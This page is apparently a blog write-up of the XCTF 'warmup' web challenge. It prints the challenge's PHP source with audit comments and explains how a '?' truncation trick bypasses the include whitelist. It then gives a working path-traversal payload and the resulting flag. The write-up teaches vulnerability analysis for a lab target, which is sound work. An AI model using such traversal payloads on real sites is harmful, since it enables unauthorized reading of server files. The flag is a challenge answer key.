当前位置:网站首页>Advanced area of attack and defense world web masters warmup
Advanced area of attack and defense world web masters warmup
2022-07-29 00:17:00 【Ant200】
View page source code , Find out source.php

Get into source.php, Find the source code

Code audit , analysis
<?php
highlight_file(__FILE__); // The highlighted
class emmm // Define a class
{
public static function checkFile(&$page)// Check function
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];// Define a white list
if (! isset($page) || !is_string($page)) { // The variable does not exist or is not a string , Enter a string to bypass
echo "you can't see it";// Print you can't view this
return false;// return false
}
if (in_array($page, $whitelist)) { // Does it exist in $whitelist, Existence can bypass
return true;// return ture
}
$_page = mb_substr( // Intercepting string
$page,
0,
mb_strpos($page . '?', '?') // Intercept $page in ? The part before the first appearance
);
if (in_array($_page, $whitelist)) {// Whether this part exists in $whitelist Array , Is to return ture, Guaranteed interception ? Before that was source perhaps hint perhaps source.php perhaps hint.php, You can bypass
return true;
}
$_page = urldecode($page); //url Decrypt
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') // Intercept $page in ? The part before the first appearance
);
if (in_array($_page, $whitelist)) {// The same as above can bypass
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) // The input is not empty , be ture
&& is_string($_REQUEST['file']) // The input is a string
&& emmm::checkFile($_REQUEST['file'])// Execute the check function
) {
include $_REQUEST['file'];// The execution file contains
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";// Print pictures
}
?> Find out hint.php file , The interview told flag The location of
Obviously, we want to execute the file containing flag, The conditions contained in the file should meet the last if,
if (! empty($_REQUEST['file']) // The input is not empty , be ture
&& is_string($_REQUEST['file']) // The input is a string
&& emmm::checkFile($_REQUEST['file'])// Execute the check functionThe first two are very satisfying , Just enter a string , Now analyze the last conditional check function , Bypass I have written the code
Here we only know the file name but not the path , Look up Information
Here we just ../ Enough to find , Usually write five or six , Can't find another
structure payload:?file=source.php?/../../../../../../ffffllllaaaagggg
http://xxx.xxx.xxx/source.php?file=source.php?/../../../../../../ffffllllaaaaggggPay attention here , The first question mark is used to pass parameters , It can be like this payload(source.php It can also be changed to hint.php)
http://xxx.xxx.xxx/?file=source.php?/../../../../../../ffffllllaaaaggggBring in to get flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}
Refer to the connection :(40 Bar message ) 【XCTF Master advanced area 】 web7_warmup writeup( One )_Mitch311 The blog of -CSDN Blog
边栏推荐
- 【C】 Replace spaces and realize binary parity bit exchange of integers by macros
- 1-8 basic use of props
- 递归/回溯刷题(中)
- Leetcode62. Different paths
- Classification and determination method of Worthington stemxyme
- Powercl batch creates and manages virtual switches
- ES6 operation tutorial
- PIP image download
- Sword finger offer 41. median in data flow
- Leetcode60. permutation sequence
猜你喜欢

SQL实现将多行记录合并成一行

Web系统常见安全漏洞介绍及解决方案-CSRF攻击

How NAT configures address translation

Real time data warehouse: meituan's implementation of real-time data warehouse construction based on Flink

Attack and defense world web master advanced area web_ php_ unserialize

【TA-霜狼_may-《百人计划》】图形3.6 纹理压缩——包体瘦身术

Powercli VMware vCenter deploys conventional new VMS in batch through self built PXE server with one click

DoIP测试开发实践

Leetcode64. Minimum path sum

Solution: direct local.Aar file dependencies are not supported when building an aar
随机推荐
MySQL安装配置教程(超级详细、保姆级)
Advanced area of attack and defense world web masters -baby Web
Visual full link log tracking
Event extraction and documentation (2018)
laptop外接显示器
[CNN] Why is the convolution kernel size of CNN usually odd
Three years after graduation, write to you and me who may be confused [turn]
Erc20 Standard Code
Oracle超全SQL,细节狂魔
Compilation principle research study topic 2 -- recursive descent syntax analysis design principle and Implementation
Everything you have learned will come in handy at some point in your life (turn)
JS advanced ES6 ~ es13 new features
PHP语言基础知识(超详细)
Install MySQL using Yum for Linux
Feign call fails. JSON parse error illegal character ((ctrl-char, code 31)) only regular white space (R
Review of categories 1-4
PHP poster QR code synthesis
@Detailed explanation of the use of transactional annotation
Pycharm configuring the running environment
Add build dependency error
Obviously, we want to execute the file containing flag, The conditions contained in the file should meet the last if,
